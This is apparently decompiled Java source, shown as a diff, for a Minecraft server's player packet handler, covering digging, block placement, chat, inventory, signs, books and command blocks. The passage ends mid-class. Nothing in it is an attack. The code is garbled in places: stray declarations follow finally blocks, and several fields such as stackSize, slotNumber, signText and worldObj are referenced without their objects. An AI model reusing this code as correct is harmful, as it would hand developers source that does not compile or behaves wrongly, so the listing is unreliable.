+  public void func_175089_a(double p_175089_1_, double p_175089_3_, double p_175089_5_, float p_175089_7_, float p_175089_8_, Set p_175089_9_)
+  {
+    hasMoved = false;
+    lastPosX = p_175089_1_;
+    lastPosY = p_175089_3_;
+    lastPosZ = p_175089_5_;
+    
+    if (p_175089_9_.contains(S08PacketPlayerPosLook.EnumFlags.X))
+    {
+      lastPosX += playerEntity.posX;
+    }
+    
+    if (p_175089_9_.contains(S08PacketPlayerPosLook.EnumFlags.Y))
+    {
+      lastPosY += playerEntity.posY;
+    }
+    
+    if (p_175089_9_.contains(S08PacketPlayerPosLook.EnumFlags.Z))
+    {
+      lastPosZ += playerEntity.posZ;
+    }
+    
+    float var10 = p_175089_7_;
+    float var11 = p_175089_8_;
+    
+    if (p_175089_9_.contains(S08PacketPlayerPosLook.EnumFlags.Y_ROT))
+    {
+      var10 = p_175089_7_ + playerEntity.rotationYaw;
+    }
+    
+    if (p_175089_9_.contains(S08PacketPlayerPosLook.EnumFlags.X_ROT))
+    {
+      var11 = p_175089_8_ + playerEntity.rotationPitch;
+    }
+    
+    playerEntity.setPositionAndRotation(lastPosX, lastPosY, lastPosZ, var10, var11);
+    playerEntity.playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S08PacketPlayerPosLook(p_175089_1_, p_175089_3_, p_175089_5_, p_175089_7_, p_175089_8_, p_175089_9_));
+  }
+  
+
+
+
+
+
+  public void processPlayerDigging(C07PacketPlayerDigging packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    WorldServer var2 = serverController.worldServerForDimension(playerEntity.dimension);
+    BlockPos var3 = packetIn.func_179715_a();
+    playerEntity.markPlayerActive();
+    
+    switch (SwitchAction.field_180224_a[packetIn.func_180762_c().ordinal()])
+    {
+    case 1: 
+      if (!playerEntity.func_175149_v())
+      {
+        playerEntity.dropOneItem(false);
+      }
+      
+      return;
+    
+    case 2: 
+      if (!playerEntity.func_175149_v())
+      {
+        playerEntity.dropOneItem(true);
+      }
+      
+      return;
+    
+    case 3: 
+      playerEntity.stopUsingItem();
+      return;
+    
+    case 4: 
+    case 5: 
+    case 6: 
+      double var4 = playerEntity.posX - (var3.getX() + 0.5D);
+      double var6 = playerEntity.posY - (var3.getY() + 0.5D) + 1.5D;
+      double var8 = playerEntity.posZ - (var3.getZ() + 0.5D);
+      double var10 = var4 * var4 + var6 * var6 + var8 * var8;
+      
+      if (var10 > 36.0D)
+      {
+        return;
+      }
+      if (var3.getY() >= serverController.getBuildLimit())
+      {
+        return;
+      }
+      
+
+      if (packetIn.func_180762_c() == C07PacketPlayerDigging.Action.START_DESTROY_BLOCK)
+      {
+        if ((!serverController.isBlockProtected(var2, var3, playerEntity)) && (var2.getWorldBorder().contains(var3)))
+        {
+          playerEntity.theItemInWorldManager.func_180784_a(var3, packetIn.func_179714_b());
+        }
+        else
+        {
+          playerEntity.playerNetServerHandler.sendPacket(new S23PacketBlockChange(var2, var3));
+        }
+      }
+      else
+      {
+        if (packetIn.func_180762_c() == C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK)
+        {
+          playerEntity.theItemInWorldManager.func_180785_a(var3);
+        }
+        else if (packetIn.func_180762_c() == C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK)
+        {
+          playerEntity.theItemInWorldManager.func_180238_e();
+        }
+        
+        if (var2.getBlockState(var3).getBlock().getMaterial() != net.minecraft.block.material.Material.air)
+        {
+          playerEntity.playerNetServerHandler.sendPacket(new S23PacketBlockChange(var2, var3));
+        }
+      }
+      
+      return;
+    }
+    
+    
+    throw new IllegalArgumentException("Invalid player action");
+  }
+  
+
+
+
+
+  public void processPlayerBlockPlacement(C08PacketPlayerBlockPlacement packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    WorldServer var2 = serverController.worldServerForDimension(playerEntity.dimension);
+    ItemStack var3 = playerEntity.inventory.getCurrentItem();
+    boolean var4 = false;
+    BlockPos var5 = packetIn.func_179724_a();
+    EnumFacing var6 = EnumFacing.getFront(packetIn.getPlacedBlockDirection());
+    playerEntity.markPlayerActive();
+    
+    if (packetIn.getPlacedBlockDirection() == 255)
+    {
+      if (var3 == null)
+      {
+        return;
+      }
+      
+      playerEntity.theItemInWorldManager.tryUseItem(playerEntity, var2, var3);
+    }
+    else if ((var5.getY() >= serverController.getBuildLimit() - 1) && ((var6 == EnumFacing.UP) || (var5.getY() >= serverController.getBuildLimit())))
+    {
+      ChatComponentTranslation var7 = new ChatComponentTranslation("build.tooHigh", new Object[] { Integer.valueOf(serverController.getBuildLimit()) });
+      var7.getChatStyle().setColor(EnumChatFormatting.RED);
+      playerEntity.playerNetServerHandler.sendPacket(new S02PacketChat(var7));
+      var4 = true;
+    }
+    else
+    {
+      if ((hasMoved) && (playerEntity.getDistanceSq(var5.getX() + 0.5D, var5.getY() + 0.5D, var5.getZ() + 0.5D) < 64.0D) && (!serverController.isBlockProtected(var2, var5, playerEntity)) && (var2.getWorldBorder().contains(var5)))
+      {
+        playerEntity.theItemInWorldManager.func_180236_a(playerEntity, var2, var3, var5, var6, packetIn.getPlacedBlockOffsetX(), packetIn.getPlacedBlockOffsetY(), packetIn.getPlacedBlockOffsetZ());
+      }
+      
+      var4 = true;
+    }
+    
+    if (var4)
+    {
+      playerEntity.playerNetServerHandler.sendPacket(new S23PacketBlockChange(var2, var5));
+      playerEntity.playerNetServerHandler.sendPacket(new S23PacketBlockChange(var2, var5.offset(var6)));
+    }
+    
+    var3 = playerEntity.inventory.getCurrentItem();
+    
+    if ((var3 != null) && (stackSize == 0))
+    {
+      playerEntity.inventory.mainInventory[playerEntity.inventory.currentItem] = null;
+      var3 = null;
+    }
+    
+    if ((var3 == null) || (var3.getMaxItemUseDuration() == 0))
+    {
+      playerEntity.isChangingQuantityOnly = true;
+      playerEntity.inventory.mainInventory[playerEntity.inventory.currentItem] = ItemStack.copyItemStack(playerEntity.inventory.mainInventory[playerEntity.inventory.currentItem]);
+      Slot var8 = playerEntity.openContainer.getSlotFromInventory(playerEntity.inventory, playerEntity.inventory.currentItem);
+      playerEntity.openContainer.detectAndSendChanges();
+      playerEntity.isChangingQuantityOnly = false;
+      
+      if (!ItemStack.areItemStacksEqual(playerEntity.inventory.getCurrentItem(), packetIn.getStack()))
+      {
+        sendPacket(new S2FPacketSetSlot(playerEntity.openContainer.windowId, slotNumber, playerEntity.inventory.getCurrentItem()));
+      }
+    }
+  }
+  
+  public void func_175088_a(C18PacketSpectate p_175088_1_)
+  {
+    PacketThreadUtil.func_180031_a(p_175088_1_, this, playerEntity.getServerForPlayer());
+    
+    if (playerEntity.func_175149_v())
+    {
+      Entity var2 = null;
+      WorldServer[] var3 = serverController.worldServers;
+      int var4 = var3.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        WorldServer var6 = var3[var5];
+        
+        if (var6 != null)
+        {
+          var2 = p_175088_1_.func_179727_a(var6);
+          
+          if (var2 != null) {
+            break;
+          }
+        }
+      }
+      
+
+      if (var2 != null)
+      {
+        playerEntity.func_175399_e(playerEntity);
+        playerEntity.mountEntity(null);
+        
+        if (worldObj != playerEntity.worldObj)
+        {
+          WorldServer var7 = playerEntity.getServerForPlayer();
+          WorldServer var8 = (WorldServer)worldObj;
+          playerEntity.dimension = dimension;
+          sendPacket(new net.minecraft.network.play.server.S07PacketRespawn(playerEntity.dimension, var7.getDifficulty(), var7.getWorldInfo().getTerrainType(), playerEntity.theItemInWorldManager.getGameType()));
+          var7.removePlayerEntityDangerously(playerEntity);
+          playerEntity.isDead = false;
+          playerEntity.setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+          
+          if (playerEntity.isEntityAlive())
+          {
+            var7.updateEntityWithOptionalForce(playerEntity, false);
+            var8.spawnEntityInWorld(playerEntity);
+            var8.updateEntityWithOptionalForce(playerEntity, false);
+          }
+          
+          playerEntity.setWorld(var8);
+          serverController.getConfigurationManager().func_72375_a(playerEntity, var7);
+          playerEntity.setPositionAndUpdate(posX, posY, posZ);
+          playerEntity.theItemInWorldManager.setWorld(var8);
+          serverController.getConfigurationManager().updateTimeAndWeatherForPlayer(playerEntity, var8);
+          serverController.getConfigurationManager().syncPlayerInventory(playerEntity);
+        }
+        else
+        {
+          playerEntity.setPositionAndUpdate(posX, posY, posZ);
+        }
+      }
+    }
+  }
+  
+
+
+  public void func_175086_a(C19PacketResourcePackStatus p_175086_1_) {}
+  
+
+  public void onDisconnect(IChatComponent reason)
+  {
+    logger.info(playerEntity.getName() + " lost connection: " + reason);
+    serverController.refreshStatusNextTick();
+    ChatComponentTranslation var2 = new ChatComponentTranslation("multiplayer.player.left", new Object[] { playerEntity.getDisplayName() });
+    var2.getChatStyle().setColor(EnumChatFormatting.YELLOW);
+    serverController.getConfigurationManager().sendChatMsg(var2);
+    playerEntity.mountEntityAndWakeUp();
+    serverController.getConfigurationManager().playerLoggedOut(playerEntity);
+    
+    if ((serverController.isSinglePlayer()) && (playerEntity.getName().equals(serverController.getServerOwner())))
+    {
+      logger.info("Stopping singleplayer server as player logged out");
+      serverController.initiateShutdown();
+    }
+  }
+  
+  public void sendPacket(final Packet packetIn)
+  {
+    if ((packetIn instanceof S02PacketChat))
+    {
+      S02PacketChat var2 = (S02PacketChat)packetIn;
+      EntityPlayer.EnumChatVisibility var3 = playerEntity.getChatVisibility();
+      
+      if (var3 == EntityPlayer.EnumChatVisibility.HIDDEN)
+      {
+        return;
+      }
+      
+      if ((var3 == EntityPlayer.EnumChatVisibility.SYSTEM) && (!var2.isChat()))
+      {
+        return;
+      }
+    }
+    
+    try
+    {
+      netManager.sendPacket(packetIn);
+    }
+    catch (Throwable var5)
+    {
+      CrashReport var6 = CrashReport.makeCrashReport(var5, "Sending packet");
+      CrashReportCategory var4 = var6.makeCategory("Packet being sent");
+      var4.addCrashSectionCallable("Packet class", new Callable()
+      {
+        private static final String __OBFID = "CL_00002270";
+        
+        public String func_180225_a() {
+          return packetIn.getClass().getCanonicalName();
+        }
+        
+        public Object call() {
+          return func_180225_a();
+        }
+      });
+      throw new ReportedException(var6);
+    }
+  }
+  
+
+
+
+  public void processHeldItemChange(C09PacketHeldItemChange packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    
+    if ((packetIn.getSlotId() >= 0) && (packetIn.getSlotId() < InventoryPlayer.getHotbarSize()))
+    {
+      playerEntity.inventory.currentItem = packetIn.getSlotId();
+      playerEntity.markPlayerActive();
+    }
+    else
+    {
+      logger.warn(playerEntity.getName() + " tried to set an invalid carried item");
+    }
+  }
+  
+
+
+
+  public void processChatMessage(C01PacketChatMessage packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    
+    if (playerEntity.getChatVisibility() == EntityPlayer.EnumChatVisibility.HIDDEN)
+    {
+      ChatComponentTranslation var4 = new ChatComponentTranslation("chat.cannotSend", new Object[0]);
+      var4.getChatStyle().setColor(EnumChatFormatting.RED);
+      sendPacket(new S02PacketChat(var4));
+    }
+    else
+    {
+      playerEntity.markPlayerActive();
+      String var2 = packetIn.getMessage();
+      var2 = org.apache.commons.lang3.StringUtils.normalizeSpace(var2);
+      
+      for (int var3 = 0; var3 < var2.length(); var3++)
+      {
+        if (!ChatAllowedCharacters.isAllowedCharacter(var2.charAt(var3)))
+        {
+          kickPlayerFromServer("Illegal characters in chat");
+          return;
+        }
+      }
+      
+      if (var2.startsWith("/"))
+      {
+        handleSlashCommand(var2);
+      }
+      else
+      {
+        ChatComponentTranslation var5 = new ChatComponentTranslation("chat.type.text", new Object[] { playerEntity.getDisplayName(), var2 });
+        serverController.getConfigurationManager().sendChatMsgImpl(var5, false);
+      }
+      
+      chatSpamThresholdCount += 20;
+      
+      if ((chatSpamThresholdCount > 200) && (!serverController.getConfigurationManager().canSendCommands(playerEntity.getGameProfile())))
+      {
+        kickPlayerFromServer("disconnect.spam");
+      }
+    }
+  }
+  
+
+
+
+  private void handleSlashCommand(String command)
+  {
+    serverController.getCommandManager().executeCommand(playerEntity, command);
+  }
+  
+  public void func_175087_a(C0APacketAnimation p_175087_1_)
+  {
+    PacketThreadUtil.func_180031_a(p_175087_1_, this, playerEntity.getServerForPlayer());
+    playerEntity.markPlayerActive();
+    playerEntity.swingItem();
+  }
+  
+
+
+
+
+  public void processEntityAction(C0BPacketEntityAction packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.markPlayerActive();
+    
+    switch (SwitchAction.field_180222_b[packetIn.func_180764_b().ordinal()])
+    {
+    case 1: 
+      playerEntity.setSneaking(true);
+      break;
+    
+    case 2: 
+      playerEntity.setSneaking(false);
+      break;
+    
+    case 3: 
+      playerEntity.setSprinting(true);
+      break;
+    
+    case 4: 
+      playerEntity.setSprinting(false);
+      break;
+    
+    case 5: 
+      playerEntity.wakeUpPlayer(false, true, true);
+      hasMoved = false;
+      break;
+    
+    case 6: 
+      if ((playerEntity.ridingEntity instanceof EntityHorse))
+      {
+        ((EntityHorse)playerEntity.ridingEntity).setJumpPower(packetIn.func_149512_e());
+      }
+      
+      break;
+    
+    case 7: 
+      if ((playerEntity.ridingEntity instanceof EntityHorse))
+      {
+        ((EntityHorse)playerEntity.ridingEntity).openGUI(playerEntity);
+      }
+      
+      break;
+    
+    default: 
+      throw new IllegalArgumentException("Invalid client command!");
+    }
+    
+  }
+  
+
+
+
+  public void processUseEntity(C02PacketUseEntity packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    WorldServer var2 = serverController.worldServerForDimension(playerEntity.dimension);
+    Entity var3 = packetIn.getEntityFromWorld(var2);
+    playerEntity.markPlayerActive();
+    
+    if (var3 != null)
+    {
+      boolean var4 = playerEntity.canEntityBeSeen(var3);
+      double var5 = 36.0D;
+      
+      if (!var4)
+      {
+        var5 = 9.0D;
+      }
+      
+      if (playerEntity.getDistanceSqToEntity(var3) < var5)
+      {
+        if (packetIn.getAction() == C02PacketUseEntity.Action.INTERACT)
+        {
+          playerEntity.interactWith(var3);
+        }
+        else if (packetIn.getAction() == C02PacketUseEntity.Action.INTERACT_AT)
+        {
+          var3.func_174825_a(playerEntity, packetIn.func_179712_b());
+        }
+        else if (packetIn.getAction() == C02PacketUseEntity.Action.ATTACK)
+        {
+          if (((var3 instanceof EntityItem)) || ((var3 instanceof net.minecraft.entity.item.EntityXPOrb)) || ((var3 instanceof net.minecraft.entity.projectile.EntityArrow)) || (var3 == playerEntity))
+          {
+            kickPlayerFromServer("Attempting to attack an invalid entity");
+            serverController.logWarning("Player " + playerEntity.getName() + " tried to attack an invalid entity");
+            return;
+          }
+          
+          playerEntity.attackTargetEntityWithCurrentItem(var3);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public void processClientStatus(C16PacketClientStatus packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.markPlayerActive();
+    C16PacketClientStatus.EnumState var2 = packetIn.getStatus();
+    
+    switch (SwitchAction.field_180223_c[var2.ordinal()])
+    {
+    case 1: 
+      if (playerEntity.playerConqueredTheEnd)
+      {
+        playerEntity = serverController.getConfigurationManager().recreatePlayerEntity(playerEntity, 0, true);
+      }
+      else if (playerEntity.getServerForPlayer().getWorldInfo().isHardcoreModeEnabled())
+      {
+        if ((serverController.isSinglePlayer()) && (playerEntity.getName().equals(serverController.getServerOwner())))
+        {
+          playerEntity.playerNetServerHandler.kickPlayerFromServer("You have died. Game over, man, it's game over!");
+          serverController.deleteWorldAndStopServer();
+        }
+        else
+        {
+          UserListBansEntry var3 = new UserListBansEntry(playerEntity.getGameProfile(), null, "(You just lost the game)", null, "Death in Hardcore");
+          serverController.getConfigurationManager().getBannedPlayers().addEntry(var3);
+          playerEntity.playerNetServerHandler.kickPlayerFromServer("You have died. Game over, man, it's game over!");
+        }
+      }
+      else
+      {
+        if (playerEntity.getHealth() > 0.0F)
+        {
+          return;
+        }
+        
+        playerEntity = serverController.getConfigurationManager().recreatePlayerEntity(playerEntity, 0, false);
+      }
+      
+      break;
+    
+    case 2: 
+      playerEntity.getStatFile().func_150876_a(playerEntity);
+      break;
+    
+    case 3: 
+      playerEntity.triggerAchievement(net.minecraft.stats.AchievementList.openInventory);
+    }
+    
+  }
+  
+
+
+  public void processCloseWindow(C0DPacketCloseWindow packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.closeContainer();
+  }
+  
+
+
+
+
+
+  public void processClickWindow(C0EPacketClickWindow packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.markPlayerActive();
+    
+    if ((playerEntity.openContainer.windowId == packetIn.getWindowId()) && (playerEntity.openContainer.getCanCraft(playerEntity)))
+    {
+      if (playerEntity.func_175149_v())
+      {
+        ArrayList var2 = Lists.newArrayList();
+        
+        for (int var3 = 0; var3 < playerEntity.openContainer.inventorySlots.size(); var3++)
+        {
+          var2.add(((Slot)playerEntity.openContainer.inventorySlots.get(var3)).getStack());
+        }
+        
+        playerEntity.updateCraftingInventory(playerEntity.openContainer, var2);
+      }
+      else
+      {
+        ItemStack var5 = playerEntity.openContainer.slotClick(packetIn.getSlotId(), packetIn.getUsedButton(), packetIn.getMode(), playerEntity);
+        
+        if (ItemStack.areItemStacksEqual(packetIn.getClickedItem(), var5))
+        {
+          playerEntity.playerNetServerHandler.sendPacket(new S32PacketConfirmTransaction(packetIn.getWindowId(), packetIn.getActionNumber(), true));
+          playerEntity.isChangingQuantityOnly = true;
+          playerEntity.openContainer.detectAndSendChanges();
+          playerEntity.updateHeldItem();
+          playerEntity.isChangingQuantityOnly = false;
+        }
+        else
+        {
+          field_147372_n.addKey(playerEntity.openContainer.windowId, Short.valueOf(packetIn.getActionNumber()));
+          playerEntity.playerNetServerHandler.sendPacket(new S32PacketConfirmTransaction(packetIn.getWindowId(), packetIn.getActionNumber(), false));
+          playerEntity.openContainer.setCanCraft(playerEntity, false);
+          ArrayList var6 = Lists.newArrayList();
+          
+          for (int var4 = 0; var4 < playerEntity.openContainer.inventorySlots.size(); var4++)
+          {
+            var6.add(((Slot)playerEntity.openContainer.inventorySlots.get(var4)).getStack());
+          }
+          
+          playerEntity.updateCraftingInventory(playerEntity.openContainer, var6);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public void processEnchantItem(C11PacketEnchantItem packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.markPlayerActive();
+    
+    if ((playerEntity.openContainer.windowId == packetIn.getId()) && (playerEntity.openContainer.getCanCraft(playerEntity)) && (!playerEntity.func_175149_v()))
+    {
+      playerEntity.openContainer.enchantItem(playerEntity, packetIn.getButton());
+      playerEntity.openContainer.detectAndSendChanges();
+    }
+  }
+  
+
+
+
+  public void processCreativeInventoryAction(C10PacketCreativeInventoryAction packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    
+    if (playerEntity.theItemInWorldManager.isCreative())
+    {
+      boolean var2 = packetIn.getSlotId() < 0;
+      ItemStack var3 = packetIn.getStack();
+      
+      if ((var3 != null) && (var3.hasTagCompound()) && (var3.getTagCompound().hasKey("BlockEntityTag", 10)))
+      {
+        NBTTagCompound var4 = var3.getTagCompound().getCompoundTag("BlockEntityTag");
+        
+        if ((var4.hasKey("x")) && (var4.hasKey("y")) && (var4.hasKey("z")))
+        {
+          BlockPos var5 = new BlockPos(var4.getInteger("x"), var4.getInteger("y"), var4.getInteger("z"));
+          TileEntity var6 = playerEntity.worldObj.getTileEntity(var5);
+          
+          if (var6 != null)
+          {
+            NBTTagCompound var7 = new NBTTagCompound();
+            var6.writeToNBT(var7);
+            var7.removeTag("x");
+            var7.removeTag("y");
+            var7.removeTag("z");
+            var3.setTagInfo("BlockEntityTag", var7);
+          }
+        }
+      }
+      
+      boolean var8 = (packetIn.getSlotId() >= 1) && (packetIn.getSlotId() < 36 + InventoryPlayer.getHotbarSize());
+      boolean var9 = (var3 == null) || (var3.getItem() != null);
+      boolean var10 = (var3 == null) || ((var3.getMetadata() >= 0) && (stackSize <= 64) && (stackSize > 0));
+      
+      if ((var8) && (var9) && (var10))
+      {
+        if (var3 == null)
+        {
+          playerEntity.inventoryContainer.putStackInSlot(packetIn.getSlotId(), null);
+        }
+        else
+        {
+          playerEntity.inventoryContainer.putStackInSlot(packetIn.getSlotId(), var3);
+        }
+        
+        playerEntity.inventoryContainer.setCanCraft(playerEntity, true);
+      }
+      else if ((var2) && (var9) && (var10) && (itemDropThreshold < 200))
+      {
+        itemDropThreshold += 20;
+        EntityItem var11 = playerEntity.dropPlayerItemWithRandomChoice(var3, true);
+        
+        if (var11 != null)
+        {
+          var11.setAgeToCreativeDespawnTime();
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  public void processConfirmTransaction(C0FPacketConfirmTransaction packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    Short var2 = (Short)field_147372_n.lookup(playerEntity.openContainer.windowId);
+    
+    if ((var2 != null) && (packetIn.getUid() == var2.shortValue()) && (playerEntity.openContainer.windowId == packetIn.getId()) && (!playerEntity.openContainer.getCanCraft(playerEntity)) && (!playerEntity.func_175149_v()))
+    {
+      playerEntity.openContainer.setCanCraft(playerEntity, true);
+    }
+  }
+  
+  public void processUpdateSign(C12PacketUpdateSign packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.markPlayerActive();
+    WorldServer var2 = serverController.worldServerForDimension(playerEntity.dimension);
+    BlockPos var3 = packetIn.func_179722_a();
+    
+    if (var2.isBlockLoaded(var3))
+    {
+      TileEntity var4 = var2.getTileEntity(var3);
+      
+      if (!(var4 instanceof TileEntitySign))
+      {
+        return;
+      }
+      
+      TileEntitySign var5 = (TileEntitySign)var4;
+      
+      if ((!var5.getIsEditable()) || (var5.func_145911_b() != playerEntity))
+      {
+        serverController.logWarning("Player " + playerEntity.getName() + " just tried to change non-editable sign");
+        return;
+      }
+      
+      System.arraycopy(packetIn.func_180768_b(), 0, signText, 0, 4);
+      var5.markDirty();
+      var2.markBlockForUpdate(var3);
+    }
+  }
+  
+
+
+
+  public void processKeepAlive(C00PacketKeepAlive packetIn)
+  {
+    if (packetIn.getKey() == field_147378_h)
+    {
+      int var2 = (int)(currentTimeMillis() - lastPingTime);
+      playerEntity.ping = ((playerEntity.ping * 3 + var2) / 4);
+    }
+  }
+  
+  private long currentTimeMillis()
+  {
+    return System.nanoTime() / 1000000L;
+  }
+  
+
+
+
+  public void processPlayerAbilities(C13PacketPlayerAbilities packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.capabilities.isFlying = ((packetIn.isFlying()) && (playerEntity.capabilities.allowFlying));
+  }
+  
+
+
+
+  public void processTabComplete(C14PacketTabComplete packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = serverController.func_180506_a(playerEntity, packetIn.getMessage(), packetIn.func_179709_b()).iterator();
+    
+    while (var3.hasNext())
+    {
+      String var4 = (String)var3.next();
+      var2.add(var4);
+    }
+    
+    playerEntity.playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S3APacketTabComplete((String[])var2.toArray(new String[var2.size()])));
+  }
+  
+
+
+
+
+  public void processClientSettings(C15PacketClientSettings packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    playerEntity.handleClientSettings(packetIn);
+  }
+  
+
+
+
+  public void processVanilla250Packet(C17PacketCustomPayload packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, playerEntity.getServerForPlayer());
+    
+
+
+
+    if ("MC|BEdit".equals(packetIn.getChannelName()))
+    {
+      PacketBuffer var2 = new PacketBuffer(Unpooled.wrappedBuffer(packetIn.getBufferData()));
+      
+      try
+      {
+        ItemStack var3 = var2.readItemStackFromBuffer();
+        
+        if (var3 == null)
+        {
+          return;
+        }
+        
+        if (!ItemWritableBook.validBookPageTagContents(var3.getTagCompound()))
+        {
+          throw new IOException("Invalid book tag!");
+        }
+        
+        ItemStack var4 = playerEntity.inventory.getCurrentItem();
+        
+        if (var4 != null)
+        {
+          if ((var3.getItem() == Items.writable_book) && (var3.getItem() == var4.getItem()))
+          {
+            var4.setTagInfo("pages", var3.getTagCompound().getTagList("pages", 8));
+          }
+          
+          return;
+        }
+      }
+      catch (Exception var38)
+      {
+        logger.error("Couldn't handle book info", var38);
+        return;
+      }
+      finally
+      {
+        var2.release(); } ItemStack var4; ItemStack var3; var2.release();
+      
+
+      return;
+    }
+    if ("MC|BSign".equals(packetIn.getChannelName()))
+    {
+      PacketBuffer var2 = new PacketBuffer(Unpooled.wrappedBuffer(packetIn.getBufferData()));
+      
+      try
+      {
+        ItemStack var3 = var2.readItemStackFromBuffer();
+        
+        if (var3 != null)
+        {
+          if (!net.minecraft.item.ItemEditableBook.validBookTagContents(var3.getTagCompound()))
+          {
+            throw new IOException("Invalid book tag!");
+          }
+          
+          ItemStack var4 = playerEntity.inventory.getCurrentItem();
+          
+          if (var4 == null)
+          {
+            return;
+          }
+          
+          if ((var3.getItem() == Items.written_book) && (var4.getItem() == Items.writable_book))
+          {
+            var4.setTagInfo("author", new NBTTagString(playerEntity.getName()));
+            var4.setTagInfo("title", new NBTTagString(var3.getTagCompound().getString("title")));
+            var4.setTagInfo("pages", var3.getTagCompound().getTagList("pages", 8));
+            var4.setItem(Items.written_book);
+          }
+          
+          return;
+        }
+      }
+      catch (Exception var36)
+      {
+        logger.error("Couldn't sign book", var36);
+        return;
+      }
+      finally
+      {
+        var2.release(); } ItemStack var3; var2.release();
+      
+
+      return;
+    }
+    if ("MC|TrSel".equals(packetIn.getChannelName()))
+    {
+      try
+      {
+        int var40 = packetIn.getBufferData().readInt();
+        Container var42 = playerEntity.openContainer;
+        
+        if (!(var42 instanceof ContainerMerchant))
+          return;
+        ((ContainerMerchant)var42).setCurrentRecipeIndex(var40);
+
+      }
+      catch (Exception var35)
+      {
+        logger.error("Couldn't select trade", var35);
+      }
+    }
+    else if ("MC|AdvCdm".equals(packetIn.getChannelName()))
+    {
+      if (!serverController.isCommandBlockEnabled())
+      {
+        playerEntity.addChatMessage(new ChatComponentTranslation("advMode.notEnabled", new Object[0]));
+      }
+      else if ((playerEntity.canCommandSenderUseCommand(2, "")) && (playerEntity.capabilities.isCreativeMode))
+      {
+        PacketBuffer var2 = packetIn.getBufferData();
+        
+        try
+        {
+          byte var43 = var2.readByte();
+          CommandBlockLogic var46 = null;
+          
+          if (var43 == 0)
+          {
+            TileEntity var5 = playerEntity.worldObj.getTileEntity(new BlockPos(var2.readInt(), var2.readInt(), var2.readInt()));
+            
+            if ((var5 instanceof TileEntityCommandBlock))
+            {
+              var46 = ((TileEntityCommandBlock)var5).getCommandBlockLogic();
+            }
+          }
+          else if (var43 == 1)
+          {
+            Entity var48 = playerEntity.worldObj.getEntityByID(var2.readInt());
+            
+            if ((var48 instanceof EntityMinecartCommandBlock))
+            {
+              var46 = ((EntityMinecartCommandBlock)var48).func_145822_e();
+            }
+          }
+          
+          String var49 = var2.readStringFromBuffer(var2.readableBytes());
+          boolean var6 = var2.readBoolean();
+          
+          if (var46 != null)
+          {
+            var46.setCommand(var49);
+            var46.func_175573_a(var6);
+            
+            if (!var6)
+            {
+              var46.func_145750_b(null);
+            }
+            
+            var46.func_145756_e();
+            playerEntity.addChatMessage(new ChatComponentTranslation("advMode.setCommand.success", new Object[] { var49 }));
+          }
+        }
+        catch (Exception var33)
+        {
+          logger.error("Couldn't set command block", var33);
+        }
+        finally
+        {
+          var2.release();
+        }
+      }
+      else
+      {
+        playerEntity.addChatMessage(new ChatComponentTranslation("advMode.notAllowed", new Object[0]));
+      }
+    }
+    else if ("MC|Beacon".equals(packetIn.getChannelName()))
+    {
+      if ((playerEntity.openContainer instanceof ContainerBeacon))
+      {
+        try
+        {
+          PacketBuffer var2 = packetIn.getBufferData();
+          int var44 = var2.readInt();
+          int var47 = var2.readInt();
+          ContainerBeacon var50 = (ContainerBeacon)playerEntity.openContainer;
+          Slot var51 = var50.getSlot(0);
+          
+          if (!var51.getHasStack())
+            return;
+          var51.decrStackSize(1);
+          IInventory var7 = var50.func_180611_e();
+          var7.setField(1, var44);
+          var7.setField(2, var47);
+          var7.markDirty();
+
+        }
+        catch (Exception var32)
+        {
+          logger.error("Couldn't set beacon", var32);
+        }
+      }
+    }
+    else if (("MC|ItemName".equals(packetIn.getChannelName())) && ((playerEntity.openContainer instanceof ContainerRepair)))
+    {
+      ContainerRepair var41 = (ContainerRepair)playerEntity.openContainer;
+      
+      if ((packetIn.getBufferData() != null) && (packetIn.getBufferData().readableBytes() >= 1))
+      {
+        String var45 = ChatAllowedCharacters.filterAllowedCharacters(packetIn.getBufferData().readStringFromBuffer(32767));
+        
+        if (var45.length() <= 30)
+        {
+          var41.updateItemName(var45);
+        }
+      }
+      else
+      {
+        var41.updateItemName("");
+      }
+    }
+  }
+  
+
+  static final class SwitchAction
+  {
+    static final int[] field_180224_a;
+    
+    static final int[] field_180222_b;
+    static final int[] field_180223_c = new int[C16PacketClientStatus.EnumState.values().length];
+    private static final String __OBFID = "CL_00002269";
+    
+    static
+    {
+      try
+      {
